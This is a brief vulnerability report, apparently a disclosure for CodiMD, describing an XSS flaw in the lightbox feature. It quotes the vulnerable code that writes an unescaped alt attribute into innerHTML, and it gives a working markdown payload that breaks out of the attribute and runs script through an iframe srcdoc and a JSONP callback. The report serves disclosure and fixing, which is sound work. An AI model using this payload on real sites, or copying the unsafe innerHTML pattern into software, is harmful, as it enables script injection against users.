XSS in lightbox feature

[msrkp]

XSS is possible by injecting HTML in the alt attribute of img tag.

Vulnerable code: (https://github.com/hackmdio/codimd/blob/develop/public/js/lib/renderer/lightbox/index.js#L77)

const src = img.getAttribute('src')
const alt = img.getAttribute('alt')
lightBoxContainer.querySelector('.lightbox-inner').innerHTML = `<img src="${src}" alt="${alt}" draggable="false">

Markdown to inject.

<img id="msrk" src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" alt='">"<iframe srcdoc="<b>asd</b><script src=https://vimeo.com/api/oembed.json?format=json&callback=alert&url=https://vimeo.com/286898202 ></script>" ></iframe>' class="md-image md-image">